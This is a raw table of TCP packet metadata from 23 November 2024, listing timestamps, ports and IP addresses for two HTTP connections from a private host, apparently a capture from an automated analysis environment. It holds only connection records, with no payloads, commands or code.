Nov 23, 2024 13:28:30.415631056 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.415682077 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.415730953 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.416758060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.416815996 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.416892052 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.416946888 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.417994022 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.418097973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.418112993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.418175936 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.419275999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.419365883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.419425011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.420434952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.420563936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.420620918 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.421678066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.421732903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.421806097 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.422305107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.422900915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.422957897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.423029900 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.423084021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.424118996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.424292088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.424319983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.424376965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.425302982 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.425354958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.425357103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.425426006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.426517963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.426631927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.426686049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.427762985 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.427871943 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.427930117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.428929090 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.428985119 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.429043055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.429841042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.430082083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.430165052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.430212975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.430249929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.430269003 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.430275917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.430298090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.431346893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.431421995 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.431433916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.431485891 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.432512999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.432578087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.432665110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.432723045 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.433737040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.433788061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.433862925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.433917999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.434925079 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.434984922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.435028076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.435081005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.436156034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.436242104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.436261892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.436335087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.437320948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.437385082 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.437460899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.437586069 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.438641071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.438764095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.438803911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.438805103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.439759016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.439837933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.439879894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.440026999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.440943003 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.440998077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.441062927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.441133976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.442148924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.442209959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.442260981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.442312002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.443380117 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.443435907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.443553925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.443605900 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.444580078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.444710970 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.444721937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.444761038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.445753098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.445811987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.445885897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.445940971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.446945906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.447068930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.447124958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.448262930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.448318005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.448374987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.449357033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.449409962 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.449481010 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.449863911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.450562954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.450618982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.450684071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.450743914 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.451771975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.451827049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.451916933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.452235937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.452955008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.453013897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.453085899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.453140974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.454171896 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.454344988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.454351902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.454389095 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.455379963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.455487013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.455554008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.456573009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.456697941 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.456777096 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.457995892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.458077908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.458143950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.458203077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.459026098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.459096909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.459168911 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.459228039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.460227013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.460294008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.460418940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.460475922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.461410999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.461467981 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.461496115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.461549044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.462598085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.462655067 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.462727070 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.463078022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.463846922 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.464009047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.464066029 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.465008020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.465189934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.465249062 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.466175079 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.466248035 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.466311932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.467380047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.467441082 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.468552113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.468636036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.468803883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.470180988 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.470283985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.470866919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.473473072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.496104002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.496154070 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.496180058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.535716057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.535748959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.535815954 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.553643942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.553675890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.553719997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.554578066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.554636002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.554735899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.557869911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.557934046 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.577831984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.577871084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.577931881 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.605556965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.605618000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.605818987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.606060028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.606221914 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.606297970 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.607224941 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.607276917 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.607299089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.607343912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.608391047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.608459949 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.608536005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.608587980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.609591961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.609674931 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.609690905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.609762907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.610713005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.610833883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.610892057 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.611953974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.612046957 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.612108946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.613142014 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.613238096 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.613292933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.614195108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.614312887 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.614370108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.615350962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.615420103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.615502119 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.616503954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.616568089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.616688013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.617662907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.617726088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.617755890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.617860079 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.618819952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.619062901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.619126081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.619997025 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.620126009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.620191097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.621134043 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.621260881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.621325016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.622327089 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.622421026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.622481108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.623434067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.623496056 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.623569012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.623625040 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.624708891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.624769926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.624799013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.624854088 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.625952959 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.626010895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.626097918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.626152992 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.626939058 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.627054930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.627111912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.628065109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.628129959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.628202915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.628269911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.629246950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.629304886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.629376888 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.629432917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.630402088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.630467892 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.630557060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.630611897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.631551027 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.631599903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.631673098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.631728888 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.632745028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.632802963 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.632833958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.632900000 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.633876085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.633934021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.634022951 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.634078979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.635026932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.635080099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.635092974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.635126114 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.636192083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.636246920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.636321068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.636379004 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.637389898 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.637454033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.637530088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.637581110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.638576984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.638628960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.638670921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.638725042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.639693975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.639746904 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.639774084 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.639827967 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.640405893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.640486956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.640830040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.640883923 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.640974998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.641015053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.641047955 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.641997099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.642222881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.642287016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.643218040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.643271923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.643286943 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.643328905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.644330978 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.644392967 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.644460917 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.644515038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.645495892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.645553112 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.645617008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.645872116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.646650076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.646720886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.646783113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.646836042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.647816896 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.647881985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.647963047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.648081064 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.649038076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.649096966 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.649113894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.649163008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.650146008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.650206089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.650291920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.650348902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.651304007 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.651366949 CET	49777	80	192.168.2.6	185.215.113.16
